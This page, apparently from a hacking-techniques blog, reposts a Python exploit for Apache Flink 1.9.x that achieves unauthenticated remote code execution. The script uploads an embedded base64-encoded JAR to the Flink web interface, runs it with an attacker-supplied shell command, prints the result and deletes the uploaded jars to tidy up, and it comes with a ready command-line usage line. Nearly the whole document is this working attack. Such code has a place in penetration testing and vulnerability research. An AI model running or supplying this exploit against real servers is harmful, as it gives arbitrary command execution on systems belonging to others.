Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86372854

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

    def __init__(self, url):
        self.url = url
        self.timeout = 10
        self.upload_file = 'rce_check_from_sec.jar'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/61.0 Safari/537.36'
        }

    @property
    def get_version(self):
        url = '%s/%s' % (self.url, 'config')
        try:
            res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
            version = res.json().get('flink-version')
        except:
            version = 'unknown'
        return version

    @property
    def jar_check(self):
        url = '%s/%s' % (self.url, 'jars')
        jar_list = []
        try:
            res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
            if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
                res = res.json()
                for file in res['files']:
                    if file['id'].endswith(self.upload_file):
                        jar_list.append(file['id'])
        except Exception as e:
            pass

        return jar_list

    @property
    def jar_upload(self):
        url = '%s/%s' % (self.url, 'jars/upload')
        jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
                                       '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
                                       'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
                                       'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
                                       'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
                                       '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
                                       'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
                                       'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
                                       'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
                                       'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
                                       'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
                                       '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
                                       'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
                                       '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
                                       'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
                                       'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
                                       's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
                                       'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
                                       'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
                                       'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
                                       'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
                                       'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
                                       'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
                                       'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
                                       'AAAAAAMAAwC4AAAArgQAAAAA')
        files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

        try:
            res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
            file_id = res.json()['filename'].split('/')[-1]
            return file_id
        except Exception as e:
            res = False
        return res

    @property
    # delete history jar packages
    def jar_delete(self):
        for jar_name in self.jar_check:
            url = '%s//jars/%s' % (self.url, jar_name)
            try:
                requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
            except:
                pass
        return

    def rce(self, command):
        jar_file = self.jar_upload
        try:
            execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
            res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
            res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
            if res:
                print('rce command "%s" exec result: %s' % (command, res))
                state = 1
                msg = '%s rce success' % self.url
            else:
                state = 0
                msg = '%s rce failed' % self.url
        except:
            state = 0
            msg = '%s rce failed' % self.url

        delete = self.jar_delete

        return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
    usage = 'python3 script.py ip port command'
    if len(sys.argv) != 4:
        print('simple usage: %s' % usage)
    else:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        url = 'http://%s:%s' % (ip, port)
        res = FlinkRCECheck(url=url).rce(command=command)
        print(res)